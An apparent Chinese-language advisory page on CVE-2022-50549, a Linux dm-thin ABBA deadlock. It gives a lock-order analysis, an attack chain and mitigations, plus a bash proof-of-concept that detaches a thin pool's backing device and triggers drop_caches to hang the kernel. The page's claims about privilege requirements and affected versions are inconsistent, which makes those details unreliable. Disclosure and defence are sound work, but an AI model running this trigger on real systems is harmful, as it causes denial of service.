IPBUF安全漏洞报告
English
CVE-2022-50549 CVSS 5.5 中危

CVE-2022-50549 Linux内核dm thin模块ABBA死锁漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50549
漏洞类型
死锁漏洞(ABBA Deadlock)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(dm thin device-mapper精简配置模块)

相关标签

Linux内核dm-thin死锁ABBA死锁本地提权拒绝服务内存回收锁竞争device-mapper内核漏洞

漏洞概述

CVE-2022-50549是Linux内核中dm thin(device-mapper thin provisioning)子系统存在的一个ABBA死锁漏洞。该漏洞涉及内核shrink_slab内存回收机制与dm_pool_abort_metadata元数据中止操作之间的锁竞争问题。当系统执行drop_caches操作触发内存回收(shrink_slab)时,会获取shrinker_rwsem读锁(LOCK A),随后通过ext4文件系统路径调用submit_bh提交BIO请求。在BIO处理过程中,dm thin的kworker线程在处理延迟BIOS时,如果检测到元数据操作失败,会调用dm_pool_abort_metadata,该函数需要获取pmd->root_lock的写锁(LOCK B),进而调用dm_bufio_client_destroy和unregister_shrinker,后者需要获取shrinker_rwsem的写锁。与此同时,在shrink_slab路径中,ext4_read_block_bitmap_nowait通过submit_bh提交新的BIO,该BIO在dm层经过thin_map处理时,需要获取pmd->root_lock的读锁。由于shrinker_rwsem的读锁和写锁形成循环等待,导致系统出现ABBA死锁。触发该死锁后,受影响的进程将进入D状态(不可中断睡眠),系统会报出hung task警告,严重时导致系统无响应。该漏洞影响Linux 6.1.0-rc4及之前的多个稳定版本内核,需要本地低权限用户通过触发drop_caches或类似内存回收路径来利用。

技术细节

该漏洞的核心是Linux内核dm thin模块中存在的锁顺序倒置问题。具体技术原理如下:

1. **锁竞争路径**:P1进程(drop cache路径)通过shrink_slab获取shrinker_rwsem读锁后,在ext4_evict_inode → ext4_discard_preallocations → ext4_mb_load_buddy_gfp → ext4_mb_init_cache → ext4_read_block_bitmap_nowait → submit_bh路径中提交BIO请求。

2. **死锁形成**:P2进程(kworker)在do_worker中处理process_deferred_bios,调用commit时若检测到metadata_operation_failed,则执行dm_pool_abort_metadata,获取pmd->root_lock写锁后调用dm_bufio_client_destroy,进而调用unregister_shrinker尝试获取shrinker_rwsem写锁。

3. **ABBA模式**:P1持有shrinker_rwsem读锁,等待pmd->root_lock读锁(通过thin_map → dm_thin_find_block);P2持有pmd->root_lock写锁,等待shrinker_rwsem写锁。形成典型的ABBA死锁。

4. **触发条件**:需要dm thin设备上存在ext4文件系统,且系统执行drop_caches操作或类似触发内存回收的路径,同时dm thin的元数据操作发生失败。

5. **修复方案**:通过调整锁的获取顺序或使用trylock机制避免死锁。修复提交通过重构dm_bufio_client_destroy和unregister_shrinker的调用顺序来解决该问题。

攻击链分析

STEP 1
1. 环境准备
攻击者需要在目标系统上配置dm-thin精简配置池,并在其上创建ext4文件系统。这需要本地低权限用户具有创建或操作dm设备的权限。
STEP 2
2. 触发内存回收路径
通过写入/proc/sys/vm/drop_caches(或类似机制)触发shrink_slab内存回收,使进程获取shrinker_rwsem读锁。
STEP 3
3. 触发元数据操作失败
通过移除dm-thin的后备存储设备或制造IO错误,使dm-thin的commit操作检测到metadata_operation_failed。
STEP 4
4. 死锁形成
kworker线程执行dm_pool_abort_metadata,获取pmd->root_lock写锁后等待shrinker_rwsem写锁;而shrink_slab路径中的进程持有shrinker_rwsem读锁,等待pmd->root_lock读锁,形成ABBA死锁。
STEP 5
5. 系统拒绝服务
受影响的进程进入D状态(不可中断睡眠),系统报出hung task警告,若不及时处理将导致系统无响应,实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2022-50549 PoC - Trigger ABBA deadlock in dm thin # This PoC triggers the deadlock by: # 1. Setting up a dm-thin pool with ext4 filesystem # 2. Triggering drop_caches to initiate shrink_slab path # 3. Causing metadata operation failure in dm-thin #!/bin/bash set -e # Step 1: Create a thin pool device (requires root) echo "[*] Setting up dm-thin pool..." LOOP=$(losetup -f) SIZE="1G" # Create backing store dd if=/dev/zero of=/tmp/thin_pool bs=1M count=1024 2>/dev/null losetup $LOOP /tmp/thin_pool # Create thin pool metadata and data devices TABLE="0 2097152 thin-pool $LOOP $LOOP 2048 256" dmsetup create thin_pool --table "$TABLE" || true # Create thin volume dmsetup message /dev/mapper/thin_pool 0 "create_thin 0" TABLE2="0 2097152 thin /dev/mapper/thin_pool 0" dmsetup create thin_vol --table "$TABLE2" # Create ext4 filesystem on thin volume mkfs.ext4 /dev/mapper/thin_vol mount /dev/mapper/thin_vol /mnt # Step 2: Write some data to trigger preallocations echo "[*] Writing data to trigger preallocations..." dd if=/dev/urandom of=/mnt/testfile bs=1M count=100 2>/dev/null sync # Step 3: Trigger metadata failure by removing backing device # (This will cause dm_pool_abort_metadata to be called) echo "[*] Triggering metadata failure..." losetup -d $LOOP & # Step 4: Simultaneously trigger drop_caches to initiate shrink_slab # This will cause the ABBA deadlock sleep 1 echo 3 > /proc/sys/vm/drop_caches & # Wait for hung task detection echo "[*] Waiting for deadlock (check dmesg for hung task)..." sleep 30 # Cleanup umount /mnt 2>/dev/null || true dmsetup remove_all 2>/dev/null || true rm -f /tmp/thin_pool

影响范围

Linux Kernel < 5.10.150
Linux Kernel 5.11.x < 5.15.75
Linux Kernel 5.16.x < 6.0
Linux Kernel 6.1.x < 6.1.6

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制对dm-thin设备的访问权限,仅允许特权用户操作;2)禁用非特权用户对/proc/sys/vm/drop_caches的写权限;3)确保dm-thin后备存储设备的稳定性和可靠性,避免意外断开;4)监控内核日志中的hung task警告,及时发现并处理死锁情况;5)考虑使用dm-thin替代方案如dm-linear或dm-stripe。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表